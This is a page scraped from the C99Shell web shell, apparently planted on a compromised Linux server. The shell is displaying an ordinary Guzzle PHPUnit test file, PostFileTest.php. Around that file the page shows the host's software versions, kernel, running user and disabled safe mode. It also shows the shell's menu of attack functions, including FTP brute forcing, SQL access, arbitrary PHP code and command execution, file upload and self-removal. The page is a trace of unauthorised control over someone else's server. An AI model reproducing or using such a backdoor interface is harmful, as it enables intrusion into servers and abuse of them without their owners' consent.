!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/guzzle/tests/Post/   drwxrwxr-x
Free 15.58 GB of 61.93 GB (25.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PostFileTest.php (1.82 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace GuzzleHttp\Tests\Post;

use 
GuzzleHttp\Post\MultipartBody;
use 
GuzzleHttp\Post\PostFile;
use 
GuzzleHttp\Stream\Stream;

/**
 * @covers GuzzleHttp\Post\PostFile
 */
class PostFileTest extends \PHPUnit_Framework_TestCase
{
    public function 
testCreatesFromString()
    {
        
$p = new PostFile('foo''hi''/path/to/test.php');
        
$this->assertInstanceOf('GuzzleHttp\Post\PostFileInterface'$p);
        
$this->assertEquals('hi'$p->getContent());
        
$this->assertEquals('foo'$p->getName());
        
$this->assertEquals('/path/to/test.php'$p->getFilename());
        
$this->assertEquals(
            
'form-data; name="foo"; filename="test.php"',
            
$p->getHeaders()['Content-Disposition']
        );
    }

    public function 
testGetsFilenameFromMetadata()
    {
        
$p = new PostFile('foo'fopen(__FILE__'r'));
        
$this->assertEquals(__FILE__$p->getFilename());
    }

    public function 
testDefaultsToNameWhenNoFilenameExists()
    {
        
$p = new PostFile('foo''bar');
        
$this->assertEquals('foo'$p->getFilename());
    }

    public function 
testCreatesFromMultipartFormData()
    {
        
$mp = new MultipartBody([], [], 'baz');
        
$p = new PostFile('foo'$mp);
        
$this->assertEquals(
            
'form-data; name="foo"',
            
$p->getHeaders()['Content-Disposition']
        );
        
$this->assertEquals(
            
'multipart/form-data; boundary=baz',
            
$p->getHeaders()['Content-Type']
        );
    }

    public function 
testCanAddHeaders()
    {
        
$p = new PostFile('foo'Stream::factory('hi'), 'test.php', [
            
'X-Foo' => '123',
            
'Content-Disposition' => 'bar'
        
]);
        
$this->assertEquals('bar'$p->getHeaders()['Content-Disposition']);
        
$this->assertEquals('123'$p->getHeaders()['X-Foo']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.3018 ]--